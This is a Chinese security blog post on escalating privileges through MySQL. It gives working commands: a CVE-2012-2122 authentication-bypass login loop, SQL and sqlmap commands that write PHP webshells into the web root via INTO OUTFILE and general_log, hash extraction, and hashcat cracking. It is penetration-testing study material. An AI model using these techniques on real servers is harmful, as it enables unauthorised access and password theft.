Mysql提权

Sl0th Lv4

Mysql提权

前提条件

  1. 具有MySQL的root权限,且MySQL以system权限运行。
  2. 具有执行SQL语句的权限。

获取root密码的方法:

  1. MySQL 3306 端口弱口令爆破

  2. sqlmap 注入的 --sql-shell 模式

    使用条件:数据库开启了shell能执行命令

    1
    sqlmap -u www.xxxx/aboutus.php?id=1 --sql-shell

    进入了交互式页面,输入 select host,user,password from mysql.user这条命令,可以查询数据库的用户和密码

  3. 网站的数据库配置文件中拿到明文密码信息

  4. CVE-2012-2122 等这类漏洞直接拿下 MySQL 权限

    Mysql 身份认证绕过漏洞(CVE-2012-2122),当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。官方说法是256次会成功一次

    payload

    1
    for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done

Webshell权限

into oufile 写 shell

写shell条件

  • 知道网站物理路径
  • 高权限数据库用户
  • load_file() 开启 即 secure_file_priv 无限制
  • 网站路径有写入权限

首先基础语法查询是否 secure_file_priv 没有限制

1
2
3
4
5
6
mysql> show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+

不同value值对应

Value 说明
NULL 不允许导入或导出
/tmp 只允许在 /tmp 目录导入导出
不限制目录

在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件

在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件

若value为空,即不限制目录时,可以使用原生SQL语句来写shell

1
select '<?php phpinfo(); ?>' into outfile '/var/www/html/info.php';

sqlmap中做法

1
sqlmap -u "http://x.x.x.x/?id=x" --file-write="/Users/guang/Desktop/shell.php" --file-dest="/var/www/html/test/shell.php"

日志文件写shell

  • Web 文件夹宽松权限可以写入
  • Windows 系统下
  • 高权限运行 MySQL 或者 Apache

MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 getshell

1
2
3
4
5
6
7
mysql> SHOW VARIABLES LIKE 'general%';
+------------------+---------------------------------+
| Variable_name | Value |
+------------------+---------------------------------+
| general_log | OFF |
| general_log_file | /var/lib/mysql/c1595d3a029a.log |
+------------------+---------------------------------+

general_log 默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中。

可以尝试自定义日志文件,并向日志文件里面写入内容的话,那么就可以成功 getshell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 更改日志文件位置
set global general_log = "ON";
set global general_log_file='/var/www/html/info.php';

# 查看当前配置
mysql> SHOW VARIABLES LIKE 'general%';
+------------------+-----------------------------+
| Variable_name | Value |
+------------------+-----------------------------+
| general_log | ON |
| general_log_file | /var/www/html/info.php |
+------------------+-----------------------------+

# 往日志里面写入 payload
select '<?php phpinfo();?>';

# 此时已经写到 info.php 文件当中了
root@c1595d3a029a:/var/www/html/$ cat info.php
/usr/sbin/mysqld, Version: 5.5.61-0ubuntu0.14.04.1 ((Ubuntu)). started with:
Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock
Time Id Command Argument
201031 21:14:46 40 Query SHOW VARIABLES LIKE 'general%'
201031 21:15:34 40 Query select '<?php phpinfo();?>

这里虽然可以成功写入,但是这个 info.php 是 MySQL 创建的 :

1
-rw-rw---- 1 mysql mysql 293 Oct 31 21:15 info.php

Apache 访问这个 php 文件会出现 HTTP 500 的状态码,结论是 root 系统这种情况基本上不会成功,只有在 Windows 系统下成功率会高一些,不过这里还是可以当做小知识点来学习记录。

Hash 获取与解密

获取

1
2
3
4
5
# MySQL <= 5.6 版本
mysql> select host, user, password from mysql.user;

# MySQL >= 5.7 版本
mysql> select host,user,authentication_string from mysql.user;

解密

在线网站来解密,如国内的 CMD5

img
img

也可以通过 Hashcat 来手动跑字典,基本上使用 GPU 破解的话也是可以秒破解的:

1
hashcat -a 0 -m 300 --force '8232A1298A49F710DBEE0B330C42EEC825D4190A' password.txt -O

-a 破解模式

指定要使用的破解模式,其值参考后面对参数

1
2
3
4
5
6
7
8
9
- [ Attack Modes ] -

# | Mode
===+======
0 | Straight # 直接字典破解
1 | Combination # 组合破解
3 | Brute-force # 掩码暴力破解
6 | Hybrid Wordlist + Mask # 字典+掩码破解
7 | Hybrid Mask + Wordlist # 掩码+字典破解

-m 破解hash类型

指定要破解的hash类型,后面跟hash类型对应的数字,具体类型详见下表:

1
2
3
4
5
6
7
12   | PostgreSQL                                       | Database Server
131 | MSSQL (2000) | Database Server
132 | MSSQL (2005) | Database Server
1731 | MSSQL (2012, 2014) | Database Server
200 | MySQL323 | Database Server
300 | MySQL4.1/MySQL5 | Database Server
...

–force

忽略破解过程中的警告信息

-O

--optimized-kernel-enable 启用优化的内核(限制密码长度

UDF提权

用户通过自定义函数,使得在SQL语句中调用新函数

信息收集

1
2
3
4
select version();   # 获取数据库版本
select user(); # 获取数据库用户
select @@basedir; # 获取数据库安装目录
show variables like%plugin%’; # 查看plugin路径。

动态链接库写入函数

  • sqlmap 的 UDF 动态链接库文件位置(sqlmap的动态链接库需要使用自带解码工具cloak.py解码)
1
sqlmap根目录/data/udf/mysql
  • Metasploit 的 UDF 动态链接库文件位置
1
MSF 根目录/embedded/framework/data/exploits/mysql

寻找插件目录

1
2
3
4
5
6
mysql> show variables like '%plugin%';
+---------------+------------------------------+
| Variable_name | Value |
+---------------+------------------------------+
| plugin_dir | /usr/local/mysql/lib/plugin/ |
+---------------+------------------------------+

写入动态数据库

坑,待补

MOF提权

MOF 提权是一个有历史的漏洞,基本上在 Windows Server 2003 的环境下才可以成功。提权的原理是C:/Windows/system32/wbem/mof/目录下的 mof 文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了。

  • 标题: Mysql提权
  • 作者: Sl0th
  • 创建于 : 2022-07-08 21:53:59
  • 更新于 : 2024-07-03 22:11:48
  • 链接: http://sl0th.top/2022/07/08/Mysql提权/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论